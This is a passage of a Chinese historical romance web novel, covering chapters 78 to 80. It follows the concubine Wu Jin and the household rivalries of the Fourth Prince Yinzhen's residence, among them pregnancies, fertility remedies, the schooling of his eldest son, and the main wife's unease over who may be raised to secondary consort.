乌锦双腿也攀住他的腰,娇嗔道:“真的不想再来吗?我们还没做完呢,胤禛,你别动不动就生气,你若是不同意,可以跟我好好说,孩子都生了,你还说那些话,我真是白为你生一个孩子。”
“那就再为我生一个阿哥,儿女双全更好。”
“那你得使点劲,不是我不想生,是你自己没用,我又没在喝避子汤。”
胤禛一听这话就狠狠折腾她,顾不得这算不算弄疼她。
乌锦只觉得自己被海浪拍打着,四处飘荡,没能抓住一根浮木,无法靠岸,他略显失控,不过先前更失控的,她都经历过,所以她还能承受住。
事后,胤禛还是捏她的脸颊,“别以为这样我就饶过你的。”
“你大人有大量,别跟我这般小女子计较,你想让谁侍寝就让侍寝,别听我的,就当我没说过,我好累,我先睡一会。”
……
事实上,四阿哥还是照她说的去做了,有多让耿格格侍寝,乌锦满意地笑了笑。
眨眼间来到七月中旬,乌锦屋内放着两盆冰山,外面太阳太烈,她不让曦宁去外面玩,免得中暑,这孩子跟她闹脾气,哭了大半天。
等冰镇八宝粥端过来,她喂她两口,她又跟她和好了,不过到底是冰凉的,一碗是她吃掉一大半,只给曦宁喂了六勺。
“额娘给你剥荔枝好不好?”
“嗯。”
“想不想吃,想吃的话跟着额娘说我想吃荔枝。”
“我吃荔枝。”
“想,想……”乌锦一遍遍教女儿说想字,等她音咬得差不多时,她才剥一颗荔枝给她。
“格格,耿格格求见。”听春进来通禀道。
曦宁一听到耿格格三个字,很是兴奋,知道有人过来陪她玩了。
“让她进来吧。”
耿氏穿着一件直纱地绣百合的旗装。
“耿夫人……”
见曦宁朝着她张开双手,耿氏也轻轻抱曦宁,“在吃什么?”
“荔枝。”
耿氏看向乌锦,说道:“曦宁连荔枝都会说了,再过不久,这小嘴可能就没法停下来了。”
“现在已经没法停下来,我耳朵都起茧子了,仿佛有个小麻雀在耳边叽叽喳喳,什么都问。”
“这荔枝容易上火,姐姐还是别给她吃太多。”
乌锦点点头说只给她几个,她刚准备给曦宁再剥一个荔枝时,耿氏突然跪下来,她吓一跳,赶紧下地想搀她起来:“耿妹妹,你这是做什么,赶紧起来。”
“姐姐对我的恩情,我没齿难忘,姐姐以后有什么事只管吩咐我,姐姐让我做什么,我就做什么,我知道主子爷这阵子召我侍寝,是姐姐从中帮忙的,姐姐待我的好,我铭记在心,只盼着以后有机会报答姐姐。”
昨日,主子爷召她侍寝,今早主子爷起来,直接点明是乌姐姐让主子爷多召她侍寝的,她还以为是因为自己过来桃园这边次数多,巧遇到主子爷几次,主子爷想起后院有她这么一个人,没想到是乌姐姐暗中开口让主子爷多召她侍寝的,没有乌姐姐开口,她恐怕跟以前一样一个月都没有一次侍寝的机会。
耿氏也明白主子爷直接点明了,是让她记住乌姐姐的恩情,主子爷的意思也很明显,以后她就是乌姐姐的人,出什么事,她得站在乌姐姐这边。
“不过是不足挂齿的小事,妹妹别放在心上。”
耿氏依旧跪着,抬头道:“乌姐姐,我没想过要跟你争宠,我只是看曦宁可爱,我也想要一个自己的孩子,在后院的日子其实很孤单很乏味,我只是想要一个孩子将乏味的日子填满。”
乌锦说道:“我明白的,我知道,我只盼着妹妹能得偿所愿,妹妹是真心喜欢孩子的人,肯定很快会有好消息传出的,快起来,别跪着,我没帮什么忙,哪里值得你跪下。”
耿氏站起来,对着乌锦笑了笑:“乌姐姐,这是大恩,妹妹会一辈子记得的。”
再过几年,她也老了,恐怕更没机会侍寝,年纪大了,孩子也不是那么容易怀上,所以这是大恩,不然凭主子爷的性格,恐怕她很难连连侍寝,还是乌锦的话起了作用。
“曦宁也想要一个弟弟或妹妹陪她玩,我只盼着妹妹的好消息了。”
耿氏难得害羞地笑了笑。
乌锦示意她坐下,让她吃荔枝,之后耿格格给曦宁读一会书,教曦宁说话,她留耿格格下来一起用膳。
傍晚,桃园这边才安静下来,乌锦给曦宁洗完澡后就放她跟戚妈妈她们在她的房间玩,夜里是奶娘哄她睡觉。
乌锦洗完澡后,正坐在梳妆台前用毛巾擦拭头发,她的手被抓住时,她抬眸,见四阿哥不知何时站在她身后。
“爷,你怎么来了,你用过膳了吗?”
“吃过了,不用忙活。”
乌锦又问他要不要沐浴,他说他已经洗过了,她头发还没干,她便让他回床上等
她,君梅她们三人一同帮她绞发,生怕四阿哥久等。
等乌锦回到内室时,见他坐在床上看她看过的话本子,她走近,故意说道:“我还以为爷有了新欢,就把我忘掉了呢,爷有好几天没过来我这了,我怕爷只记得年轻漂亮的耿妹妹。”
胤禛微掀眼皮看她一眼,因是夏日,她穿的是薄纱的中衣,纱质轻飘飘的,仿佛能看到她的肌肤,他没好气道:“不是你让我多召耿氏侍寝吗?我照你说的做,你又开始吃醋了?”
乌锦顺势靠在他身上,嗔道:“我是嫉妒,见不得爷召别人侍寝,我怕爷把我忘了。”
胤禛哪里不知道她,顶多是嘴上说说而已,未必是真的嫉妒,这女人就是有恃无恐,他掐她的腰:“忘了也好,记得有什么用,还不是把我推给别人。”
“那爷休掉这后院所有人,只留我一个好不好?”
“你倒是敢想。”
乌锦心想她有什么不敢想的,反正她就用这一条拿捏他,他自己三妻四妾,还怪她把他推给别人,真是没天理,她的手在他胸膛上摩挲来摩挲去,故意嗲着声音道:“我为什么不敢想,我可是觊觎福晋之位,想当爷的妻子,想让爷八抬大轿娶我,只可惜我是妾,进府那日,爷都没有过来迎我,我是灰头土面地进府,要不是肚子揣着孩子,我恐怕连爷的后院都进不了,我真是太可怜了,只能母凭子贵进府,呜呜呜……”
胤禛看着乌锦假装啜泣,假哭起来,眼泪是半点没有,他满脸无奈地笑了,用指腹擦擦她眼角:“哭也得哭得像样,连眼泪都没有,跟曦宁学的,就知道假哭。”
“你女儿最近真的是常常假哭。”
“还不是学她额娘,她额娘比她厉害多了,睁眼说瞎话的本事更是顺手拈来。”
“爷,我难道在爷眼里是这样的人,没有一点优点吗?我要是没有优点,爷为何要这般宠爱我。”
胤禛抓住她作乱的手:“往哪摸,我今天可没有力气折腾你,昨晚我在耿氏那折腾够了。”
乌锦眼睛瞪圆:“爷,你故意这么说,想要气我?我一点都不想听到你跟耿妹妹怎么亲密的,你不许跟我说这些,我不想听。”
“她比你乖多了,声音也比你好听。”
乌锦抓住他的手直接咬一口,咬出一圈牙印,微愠道:“那你别来找我,你去耿妹妹那里,你来我这里干什么,天黑后你不许过来我这,我不稀罕见到你。”
“那我走。”
乌锦见他真的起身,想往外走,戏要演全套,她假装哽咽道:“走吧走吧,我哪比得上耿妹妹好看,我这张脸反正爷也看腻了,本来就长得丑,睡在爷旁边都怕吓到爷,爷口口声声说喜欢我,爷的喜欢也不过如此,只闻新人笑不见旧人哭,我已经惹人厌了,你走之后再也不要来了。”
第79章第79章更新
第79章
胤禛回头无奈地看着乌锦,最后还是没走,瞧着乌锦得意的小表情,他忍不住也学着她抓起她的手上咬一口,本来没想太折腾,气不过折腾她到后半夜。
翌日,两个人都醒得晚,屋内的冰山已经融化得差不多了,奴才们怕吵醒主子,不敢弄出太大的动静,只能一点点加冰。
乌锦醒来时只觉得浑身酸痛,也觉得屋内有些闷热,跟四阿哥几乎是同时醒来,他们把人喊进来伺候洗脸漱口穿衣。
早上,乌锦也没什么胃口,只是简单喝碗粥,把四阿哥送走后,她准备继续刺绣,她要送给四阿哥的褂子还没绣好。
小才子被君梅引进来,说福晋好像生病了,膳房的人给福晋熬了药。
福晋病了?乌锦又让君梅给她简单梳个髻子,她过去看看福晋。
到正院后,乌锦她们被带着进房间,一进房间,她就闻到一股药味,见到福晋正倚在床头上,身上盖着云丝薄被,唇色微微发白。
“乌妹妹,你来了。”
乌锦坐在奴才搬来的圆凳上,担忧道:“我听说姐姐生病了,过来看看,姐姐可有请府医看看?”
福晋乌喇那拉氏声音有些虚弱道:“已经看过了,昨夜着凉,今早起来头重脚轻的,这鼻子呼气都是热的,昨天白天还是好好的,柯大夫说了,昨夜是我贪凉,房间里放了太多冰块,夜里睡着后就过冷气着凉了,所以早上起来才有点发烧,其实我没有大碍,过几日就能好,妹妹不用太担心。”
“姐姐身子有恙,妹妹总归是担心的,希望姐姐能早日好起来。”
正当乌锦说话之际,李氏也过来了。
“你们一个两个有孩子的,就不应该过来,小心过了病气传给孩子,我真的没事,你们不用担心,等烧退了就没事了,今早我也喝了一碗退烧汤药,好啦,你们快回去吧,这府里可不能再像上次那样一病就病好几个。”
福晋这么说,乌锦她们只能离开。
崔嬷嬷在乌锦她们离开后端来一碗汤药,说道:“福晋,该喝药了,柯大夫说了这药一天喝两碗。”
乌喇那拉氏闻到苦兮兮的汤药狠狠皱眉,还是憋着气一口喝完。
崔嬷嬷又让人拿来一床被子,说要把汗捂出来,捂出来就会好受许多。
“算了,不着急,嬷嬷,耿氏是不是这阵子常去桃园?”
“耿格格喜欢孩子。”
乌喇那拉氏轻笑道:“她是喜欢孩子还是想投靠乌氏,我还以为耿氏是淡然无欲的性格,原来她还是想得宠的。”
崔嬷嬷心想这后院的女人个个都想得宠,只是她们不像乌格格那样能笼住四阿哥的心,于是在后院里安安分分的,并非她们真是这样不争不抢的性子。
“福晋,一个格格而已,福晋何必在乎她。”
乌喇那拉氏倒不是怕耿氏在后院为非作歹,她是怕乌氏借此拉拢耿氏,一个宋氏已经跟乌氏走得很近,再添一个耿氏,乌氏又有四阿哥的偏宠,乌氏这是要越过她这个福晋,一山还不容二虎呢,她一个福晋还要看一个格格脸色说话做事的话,她这个福晋当着还有什么意思。
“我是怕乌氏不安分,主子爷对她的心思一时半会淡不下去,迟早她要骑到我头上。”
崔嬷嬷犹豫道:“福晋,我瞧着乌格格不像是惹是生非的人,乌格格进府也一年半了,她对福晋还挺敬重的。”
“知人知面
不知心,你看她这次想着拉拢耿氏,就不像是很安分的人,主子爷这么宠她,她迟早会生出一个阿哥,到时候她要跟我的弘晖抢爵位怎么办?”
崔嬷嬷知道福晋心中的不安,最主要的原因是主子爷真的太偏宠乌格格了,任谁都能看出主子爷对乌格格的喜欢,福晋虽贵为后院的女主人,但主子爷对福晋更多是敬重,而没有太多男女之情与爱意,不过她觉得福晋太过远虑了。
“福晋,乌格格能不能生出阿哥还不一定,等乌格格生出来再担心也不迟,福晋,李格格的弘昀阿哥才是要担心的,弘昀阿哥只比大阿哥小两岁。”
乌喇那拉氏摇摇头:“我不担心李氏,李氏与我交好,有弘晖在,弘昀只会是弘晖的弟弟,将来顶多当个郡王。”
李氏才是真的安分,不像乌氏还搞小动作拉拢别的主子,乌喇那拉氏并不担心李氏。
“不管怎么样,在乌格格的小阿哥没生出来前,福晋都不用太过担心,她得宠就得宠,再过几年有新人入府,她得宠不了多久。”
乌喇那拉氏只能这样宽慰自己了,生病之人难免多虑,胡思乱想。
四阿哥在傍晚时过来看她,问她的病症,乌喇那拉氏如实回答,她没让四阿哥留下来陪她用膳,怕她把病气传给四阿哥。
四阿哥也真的没有留下来,每当这个时候,她总是忍不住在想若是换成乌氏,四阿哥会这么毫无犹豫,干净利落地离开嘛,她总归是真的病了,她也想得到四阿哥一个心疼的搂抱。
好在四阿哥只是回前院,没有召别人侍寝。
乌喇那拉氏才觉得自己没那么可悲。
之后几天,四阿哥每一天都会过来慰问她的病情,有了四阿哥的关心,乌喇那拉氏精神多了,心情变好,这病也好得快,烧已经退了。
弘晖这孩子也想过来看她,她让人拦着不让,小孩子还是脆弱一些,她不希望见到弘晖生病。
七月底,她的病已差不多痊愈,李氏怀孕的消息传到她耳边。
“又怀了?”
“听说是怀了一个多月,昨日找柯大夫把脉才确定的。”崔嬷嬷说道。
乌喇那拉氏心想李氏真是能生,这后院其他女人肚子都没什么动静,李氏是接二连三有好消息传出,这已经是李氏的第五胎了。
“那我过去跟李氏说一声恭喜吧,梳妆。”
乌喇那拉氏打扮好后过去邀月苑,到李氏的房间,因李氏生完弘昀还不到两年,身子还没完全恢复,她看不出来李氏有一个月身孕。
“妹妹,我听说妹妹找了柯大夫给你把脉,是不是有好消息?”
李氏对福晋没有隐瞒,老实说道:“姐姐,是我发现我月信迟了才找来柯大夫给我把脉,柯大夫说我有一个多月的身孕,我自己完全没有察觉。”
“好好好,这是好消息,妹妹要好生养着,弘晖还想要一个弟弟或妹妹陪他玩呢,怎么样,有没有不舒服?”
李氏说她目前还好,因为已经生过几次了,她没有不知所措。
乌喇那拉氏笑道:“你的确是有经验的,还不到三个月,你要不要对外公布,还是等三个月后再说。”
“等满三个月后再说吧,姐姐一人知道就行,姐姐身子好些了吗?”
“我要是没好,哪敢过来,反正你好好养着,缺什么跟我说,对了,曦玉这孩子最近不是在学女红吗?学得怎么样?”
“这孩子哪肯认认真真学这些,主子爷让她跟几个年纪相仿的堂姐堂妹她们去学堂学满蒙汉语,她这阵子只顾着学这些了。”
“这孩子认认字,学学写字也挺好的,女红不着急,那那些女孩好相处吗?”
李氏口中的堂姐堂妹都是阿哥们的女儿,听说太子的女儿也在其中,曦玉还算年纪大的,听说最小的有四岁。
“反正我看着曦玉这孩子这阵子性子收敛不少,其实这样也好,曦玉这孩子是我先前太过纵容宠着了,磨磨性子挺好的。”
乌喇那拉氏想着弘晖,弘晖毕竟是阿哥,不可能像曦玉这样六七岁才送去学堂,她已经准备找先生给弘晖开蒙了。
她跟李氏聊了好一会儿才离开。
弘晖不仅仅要开蒙,还得找几个哈哈珠子陪伴他,乌喇那拉氏已经从娘家那边挑了两个,还不够,至少挑六个才行。
她让人盯着前院,主子爷回来告诉她。
到了未时末,她听说主子爷回来,直接带着人过去前院,跟主子爷说弘晖开蒙上学的事。
“这个我已经安排好了,等到九月,弘晖便去上学堂那边读书,哈哈珠子,我也挑好了,我还另外找了一位蒙语谙达,满语谙达跟汉语谙达跟着弘晖。”
乌喇那拉氏有些意外,没想到主子爷早早就安排好了,主子爷对弘晖的用心,她还是很高兴的,不过主子爷怎么什么都不跟她说就决定了。
“爷,你怎么什么都不跟我说,这离九月不是只剩下一个月了?”
“是皇阿玛前阵子问起此事才决定下来的,皇阿玛让弘晖他们先在宫里住一个月,跟他那些堂兄堂弟熟悉熟悉,你这一个月好好教导弘晖,在宫中不要惹事。”
乌喇那拉氏觉得这哈哈珠子得安排两个娘家的人,只有从小一块长大才有兄弟之间的情意,等弘晖长大后才会念着乌喇那拉一族,她又怕她说了,主子爷会觉得她有私心,为娘家人考虑,而不为弘晖考虑。
“怎么了?”许是主子爷看到她的欲言又止,问了一句。
乌喇那拉氏说了这事。
“可以,你把名单交给我吧,还有事吗?没有事的话,我要回书房看折子了。”
乌喇那拉氏说没事了,随即离开,她很快把她挑好的两个哈哈珠子名单递给主子爷,主子爷过两日也将最终为弘晖挑好的八名哈哈珠子的名单告知她。
进宫不是小事,尤其是还要在宫里住一个月,弘晖可能还会被皇上抽查功课,乌喇那拉氏连着一个月教导弘晖在宫中如何说话行事,只是五岁的孩子,她说的话,他未必听得进去,她只能不断叮嘱伺候弘晖的奴才。
那八名哈哈珠子也进贝勒府先住几天,他们不会全部跟着进宫,进宫只需四人,主子爷让她挑出里面最机灵的四个陪着弘晖进宫住一个月。
乌喇那拉氏也稍微去了解一下跟弘晖年纪相仿的小阿哥,其中有大阿哥的弘昱阿哥、太子的弘晰阿哥跟弘晋阿哥、三阿哥的弘晟阿哥、五阿哥的弘升阿哥以及七阿哥的弘曙阿哥,这些人都会跟弘晖一同上学,住在宫里。
太子的弘晰是年纪最大的,已经七岁了,这更像是皇上让这些孙辈聚在一块熟悉彼此。
九月三日,主子爷亲自将弘晖送进宫中,父子两在马车上说了什么,乌喇那拉氏不得而知,这是弘晖第一次离开她这么久,她已经开始担忧起来,盼着弘晖在这一个月内能平稳度过,给皇上留个好印象。
……
乌锦这边也听说弘晖阿哥被送进宫了,还是皇上的旨意,她觉得皇上可能也是想看看这些孙辈哪一个有本事吧,将来考虑皇位继承人时,这些孙辈会是下下任皇帝的人选,皇上也不想大清的江山落在无能的子孙身上,所以孙辈也要纳入考量,可见太子继承皇位还不是十拿九稳,皇上对下一任皇位继承人开始有别的想法了,让太子继位的心没有那么坚定,开始动摇了。
好在她只有曦宁一个,不用想这些。
她在后院的日子平静地过去,本以为耿氏会先传出好消息,但没想到是李氏先有好消息,李氏又怀孕了。
宋氏邀她一起过去邀月苑给李氏贺喜,李氏这肚子瞧着像是已经有四个月了,一问才知道才刚满三个月。
李氏接二连三地生孩子,她身形还挺臃肿的,不过看得出来李氏眼里都流露着笑意,对这一胎的到来是高兴的,可能想着多子多福。
后院其他主子也坐在李氏的房间中,大家纷纷给李氏说恭喜,说她命好,主子爷宠她,她才会这么快再有孩子,不知道谁说了一句若还是阿哥,说不定主子爷会请封李氏晋升为侧福晋。
好在今日福晋不在,不然这话又会让福晋不舒服了。
“什么侧福晋,我没想这些,我只是想为主子爷多生几个孩子,阿哥也好,格格也好,我只希望孩子康健,况且乌格格也为主子爷生了一位格格,这侧福晋,乌格格来当更合适。”李氏说道。
其他人的目光也齐齐落在乌锦身上,乌锦也不知道李氏是随口一说还是故意的,她笑道:“生子有功,我生的只是格格,不是阿哥,所以不算有功,既然无功,想要凭借生格格而晋封为侧福晋,恐怕是难如登天的事,李姐姐要是再生一个阿哥,那侧福晋之位归李姐姐莫属。”
“我看我这一
胎是格格。”
“格格也好,反正不管是阿哥还是格格都是为主子爷绵延子嗣,主子爷肯定会记得姐姐生孩子的功劳。”宋氏开口道。
郭氏插进来,打量乌锦,嘲讽道:“这侧福晋哪是那么好当的,乌格格要是想当侧福晋,还得肚子争气,乌格格侍寝那么多回,怎么肚子没有消息,只有曦宁一个格格,是不够格当侧福晋的。”
这说的她好像很想当这个侧福晋似的,乌锦真实不明白怎么扯到谁当侧福晋这上面来,她顺着郭氏的话说道:“是,我这肚子不争气,所以当不了侧福晋,这侧福晋是八字还没一撇的事情,现在说这些有什么用,这不得看主子爷跟福晋的意思,主子爷跟福晋若是没有这个意思,我们说了又起什么作用,都是自说自话罢了。”
宋氏出来打圆场,知道再聊下去就要吵起来,她说道:“的确,不说没影的事,妹妹累了吧,要不我们先散了。”
“是有些累了。”
李氏这么说,大家就一一散开。
乌锦跟宋氏与耿氏走在一块。
宋氏出声道:“我看李格格要是真再生一个阿哥,主子爷可能真的会去宫里请求封她为侧福晋,二子一女,李格格真会生。”
耿氏看了一眼乌锦:“那倒未必,这册封侧福晋是麻烦事,主子爷这阵子忙,未必有这个心思。”
这不仅仅是生不生阿哥的事,还得看主子爷的意思,主子爷不去跟皇上请封,这封不封侧福晋都是没影的事,以主子爷对乌姐姐的喜欢,要是真要有一个人来当侧福晋,那也只会是乌姐姐,但乌姐姐又只有一个格格,哪怕主子爷真的去跟皇上请封了,皇上也未必同意,所以她觉得主子爷压根不会去请封。
李姐姐又怀上了,耿氏是有点失落的,她希望是她怀上,可是两个月过去了,她肚子依旧没有动静。
她跟着乌姐姐到桃园,曦宁在屋子里玩那些小木头,将木头叠在一块,一个人玩得不亦乐乎。
“耿妹妹,你是不是有点失落?”
耿氏点头:“乌姐姐,前阵子我比李姐姐侍寝的次数多,我以为我很快就有好消息,但没想到是李姐姐先有好消息。”
乌锦觉得耿氏也年轻,身子看上去也康健,怎会一直没有动静。
“耿妹妹,你可以看看大夫,先前我连着喝周太医给我开的药方调养身子,这才有了曦宁,你不妨试试跟我一样喝药调养身子,我看周太医就很擅长医治这些,不如把周太医叫过来给你看看。”
耿氏眼睛睁大:“姐姐先前也有这些困扰?”
乌锦想到自己先前因为喝了太多避子汤药而月经不调紊乱,若不是四阿哥后来偷偷调换,她的确不会生下曦宁,不算是困扰吧,算是阴差阳错。
“我看周太医医术不错,周太医不行的话,我也认识一位医术很好的大夫,别人都称他为神医,先前我额娘生下我之后身子不见好,恶露不止,是神医把我额娘治好的,只要我们不讳疾忌医,我相信很快就会有好消息。”
耿氏听完很心动,只是请太医要么主子爷出面要是福晋出面,她想着跟福晋说一声。
“是,跟福晋说一声吧。”
耿氏在桃园待了一会儿就过去云水堂,跟福晋说她想请周太医给她看诊。
“耿妹妹怎么了?可是哪里不适?”
“我月信紊乱,想让周太医开几副药方给我。”
“好,我让人去请周太医。”
见福晋答应,耿氏松一口气。
只过一日,周太医就过来,耿氏跟周太医如实说她并非月信紊乱,她想要怀孕,让周太医给她开几副滋补助孕的药方。
周太医也没有推辞,望闻问切后就开了药方。
耿氏让人直接到外面的药铺抓药,从御药房那边拿药比较麻烦,流程多,还得请福晋帮忙,干脆到外面药铺方便一些。
……
既然是通过乌喇那拉氏这边请的太医,乌喇那拉氏想要知道太医给耿氏开了什么药方就轻而易举,知道耿氏想要尽快怀上孩子也不意外,尤其是李氏怀孕的情况下,耿氏着急也无可厚非。
反正李氏都怀孕了,多一个耿氏也没什么,乌喇那拉氏现在只想知道弘晖在宫里过得怎么样,过去半个月了,不知道弘晖适应得怎么样,有没有人欺负他,有没有给皇上留下好印象。
弘晖不在的日子犹如度日如年,主子爷也不让她打听,她想让人进宫打听也不行,只有主子爷进宫后回来跟她说弘晖很好,让她别担心。
她怎么可能不担心,弘晖第一次离开她身边,她怕他在宫里吃得不好,睡得不好。
好不容易熬到十月四日,主子爷将弘晖接出宫,她直接在大门口那边等弘晖,等弘晖从马车上被抱下来时,她直接迎上去,细细检查弘晖有没有伤口,见到齐手齐脚的儿子,她忍不住紧紧抱着弘晖。
“额娘,你怎么了?”
乌喇那拉氏哽咽道:“额娘只是想你。”
“我也想额娘。”
自家儿子这么乖巧懂事,乌喇那拉氏又欣慰又心疼,儿子肯定在宫里吃苦了,仿佛一下子长大了一般,她抬头见到主子爷很平静地站在一侧,她抹了抹自己的眼泪:“让爷见笑了,我就是一时见到弘晖激动的,还请爷别见怪。”
胤禛明白福晋的爱子之情,女子一向如此,多愁善感,情绪波动大,其实这一次弘晖能进宫是好事,这是被皇阿玛叫进宫的,弘晖能在皇阿玛那露脸,留下印象是千载难逢的机会,皇阿玛平日里朝务繁忙,对弘晖这些孙辈顶多是过问几句,其实皇阿玛很少见到这些孙辈,未必会记得他们,这次进宫,皇阿玛至少记住弘晖了,还说弘晖是个懂事的孩子。
“你这几年辛苦了,把弘晖教得很好。”
胤禛是真心实意说这句话,弘晖是他的嫡长子,他需要弘晖在皇阿玛面前表现出色。
“爷,这都是我该做的。”
第80章第80章更新
第80章
乌喇那拉氏把弘晖带回正院,又细细问这一个月弘晖在宫里都做了什么,不仅问弘晖,也问跟在弘晖身边的那些奴才,知道儿子在宫里并未受苦才稍稍放心。
当弘晖说他想去看看姐姐跟妹妹弟弟他们时,乌喇那拉氏没拘着他,她希望弘晖有兄长的担当,也希望他能跟兄弟姐妹相处融洽。
弘晖去李夫人那一趟,只是姐姐曦玉还在学堂那边,弟弟又还在睡觉,他过去桃园,还好妹妹没在睡觉,妹妹会说话了,但年纪比他小,他在妹妹这边找到一点兄长的尊严,在宫里,他虽然不是年纪最小的,但阿玛跟他说他要谦让隐忍,不可以跟人起冲突,暂且让着别人就对了,他觉得自己在那群兄弟当中很没有存在感,也不是以他为首。
在妹妹面前,他是哥哥,妹妹很听他的话,他让做什么,妹妹就做什么,弘晖越发喜欢这个妹妹,他也觉得乌夫人很温柔,会给他吃好吃的。
弘晖在桃园这待了好一会儿才回去,他跟额娘说他喜欢妹妹,以后他要多找妹妹玩。
乌喇那拉氏听到弘晖这么说,只是笑道:“你以后要上学,哪有那么多时间玩。”
弘晖虽然不在宫里住了,但他之后每一天都要去上书房那边读书,主子爷为他请了那么多谙达,可不是让他玩的,见到弘晖很明显不高兴,她又说道:“你不上学的时候可以找妹妹玩。”
弘晖这才笑了笑。
乌喇那拉氏觉得弘晖以后可能没那么多时间玩,主子爷对他显然是寄予厚望的,她也是,他是爷的长子,他身上是有担子有责任的,不能随心所欲地玩。
到了傍晚,主子爷也过来正院这边,跟她们母子两一块用膳。
因为弘晖在主子爷这边表现得很好,主子爷的意思也很明显,是将弘晖当成世子来培养,所以乌喇那拉氏整个人都放松下来,也不再为乌氏在府中拉拢耿氏,主子爷偏宠乌氏而焦虑。
此后,弘晖每一天都要早起进宫念书,乌喇那拉氏虽然心疼儿子天不亮就要起床,但心疼归心疼,她还是让人将他送去宫中,她知道这是弘晖必须要做的,她不希望弘晖是纨绔子弟,每天无所事事,她希望他有出息,才学过人。
府里最近有一个传言,说是主子爷要立侧福晋,有说是要立乌氏为侧福晋,有说是要立李氏,乌喇那拉氏这才分点心思在这上面。
侧福晋是能入皇家玉牒,不是妾了,算是主子爷的妻子,跟她几乎可以平起平坐,乌喇那拉氏不想见到府里有两个女主人。
李氏这一胎还没生呢,是阿哥还是格格还不知道,李氏也是讨主子爷喜欢的,不然她也不会一直有孕,只是很明显主子爷更喜欢乌氏。只是乌氏本来就家世不显,
先前又是主子爷的外室,又只生了一个格格,主子爷要是想立乌氏为侧福晋,他要以什么理由来说服皇上他们。
乌喇那拉氏过去邀月苑,李氏已经显肚,有四个多月的身孕,身形更臃肿了。
“妹妹,怎么样,孩子有没有折腾你这个额娘?”
“太折腾了,姐姐,你看我这肚子大的,我连走路都快走不了,我的脚水肿得厉害,那绣鞋都得重新做。”李氏已经是生过好几个孩子的人,只是这一胎比前面几胎还要不舒服,孕吐不止就算了,她整个人都莫名水肿,弄得她很疲惫。
“真是辛苦妹妹了,再忍几个月就好了,到时候再生个小阿哥给弘晖弘昀当伴,我想着你为主子爷生了好几个孩子,生子有功,我想让主子爷册封你为侧福晋,妹妹觉得如何?”
李氏有些诧异,同时内心也有些激动,谁不想当侧福晋,侧福晋是主子爷半个妻子,不再是妾室,身份上更加名正言顺,她当了侧福晋后,她的孩子在府里的地位应该也会随着涨高。
“这……这怎么可以?”
乌喇那拉氏握着李氏的手,笑道:“怎么不可以,妹妹侍奉主子爷多年,尽心尽责,又为主子爷诞下二子一女,封你为侧福晋是很天经地义的事,等妹妹将这个孩子生下来,我便跟主子爷提起这事。”
李氏以为福晋是真心为她着想,她感动地点点头:“那妹妹就多谢姐姐了。”
“谢什么,你我姐妹多年,这些都是应该的,你只管好好生下这个孩子,有什么不舒服的地方找柯大夫。”
“我知道了,我尽量不走动,多谢姐姐关心。”
乌喇那拉氏轻轻拍了拍李氏的手背,“你我之间不用言谢,好好歇着吧,需要什么直接跟我说,想吃什么让膳房给你做,一定要吃好睡好,你现在是一个人吃两个人补,可千万不能不吃东西。”
李氏说她最近吐得厉害。
乌喇那拉氏说她吃点酸的东西可能就不吐了,她让人给她送一些酸梅酸杏过来。
等乌喇那拉氏跟李氏聊完回到正院时,她才收起笑脸,想着李氏原来也不是不争不抢,她也是想当侧福晋的,亏她这么多年对李氏多有照顾,敢情李氏还有这般狼子野心。
乌喇那拉氏当下有些生气,不过李氏听到她说要跟主子爷请求册封她为侧福晋氏,李氏那样子是意外的,可能主子爷从来没跟她提前过要立她为侧福晋的事,她才会这般惊讶。
又过一日,乌喇那拉氏过去桃园,见桃园的院子多了一座秋千,曦宁这孩子正坐在秋千上,由奴才推着荡秋千。
桃园的奴才们见到她,给她行礼,乌喇那拉氏问她们的主子在哪。
“格格在里面,奴才带福晋进去。”
乌喇那拉氏进屋后见到乌锦在刺绣,她进来时,乌锦太过认真都没有听到周围的动静,还是旁边的丫鬟喊她,她才抬头。
“姐姐,你怎么来了,快请坐。”
乌锦下炕将她扶到铺炕的垫团上坐下,只听到乌锦说她这里乱糟糟的,让她别介意,乌喇那拉氏看炕几上还有铺炕上有很多纱线,不同颜色,那针被放在针盒里,粗细不一。
“怎么想着绣这些?这些可以交给府里的绣娘来做。”
“这不是过十几日便是爷的生辰,我想着亲自绣一件褂子送给爷。”
乌喇那拉氏看一眼乌锦绣的图案,是佛手花鸟图,那鸟在枝头上看上去栩栩如生,她先前已经见识过乌锦的绣工,所以也没有太诧异,只称赞道:“妹妹真是太用心了,主子爷要是收到妹妹亲手绣的褂子,不知道有多高兴。”
“就是一份简单的生辰礼。”
“妹妹花了两三个月才绣成,又怎么算是简单的生辰礼,这府里就属妹妹最用心。”
“不敢当,府里的姐妹一样很用心,姐姐准备送什么给爷当生辰礼?”
乌喇那拉氏说她送的是龙涎香。
“这龙涎香十分不易得,千金难买,姐姐才是真的用心。”
乌喇那拉氏笑了笑,似不经意提起:“妹妹听说了吗?李格格这一胎若是阿哥,主子爷有可能请求册封李格格为侧福晋。”
“那是李姐姐的福气,李姐姐连生两子,为主子爷绵延子嗣,这是李姐姐应得的。”
“妹妹也为爷生下小格格,这侧福晋之位,妹妹也是当得起的。”
乌锦赶忙摇头:“我当不起,我没想过要当侧福晋,我一个普通小官之女能进贝勒府当格格已是天大的荣幸,从来不敢妄想别的,我只想好好把曦宁养大,在姐姐的带领下,在后院安安分分过日子,这侧福晋之位,我绝对是当不起的,我无才无能,又不是当绣娘,当绣娘,我还能以我的绣工入选十佳绣娘,这侧福晋责任重大,我实在是担不起,主子爷也从来没跟我说过他想立我为侧福晋。”
“主子爷很喜欢妹妹,妹妹聪明伶俐,绝对当得起侧福晋,妹妹别妄自菲薄。”
“不是我妄自菲薄,是我微不足道,不配当侧福晋,我这个人有些好吃懒做,以前为了生计,不得不日夜做绣活,如今进了贝勒府,只想睡到日上三竿,每日就浇浇花好了,不像以前那样忙活,过清闲日子。”
乌喇那拉氏不得不说乌氏这个人很聪明,看似在说自己好吃懒做,但也暗暗撇清她不想管这府里的大小事,言语之间让她这个福晋宽心。
不管乌氏是真心这么想还是只是这么一说,反正她听着舒心,她有点明白崔嬷嬷先前说的话,与其担心一个连阿哥都没有的乌氏,不如先担心已经有阿哥的李氏。
“我们身为女人,有了孩子后,很难过清闲日子,弘晖还没上学之前,他天天找我,让我陪他玩,如今他白天去上书房,我这个当额娘的才多一点空闲时间。”
“跟曦宁一样,孩子还小,也是天天缠着我,有时候盼着他们能尽快长大,有时候又怕他们太快长大,怕他们长大后,把我们这些当额娘甩在脑后,只顾着跟他们同龄的人玩,长大后,他们就不愿意缠着我们了,我们又难免失落。”
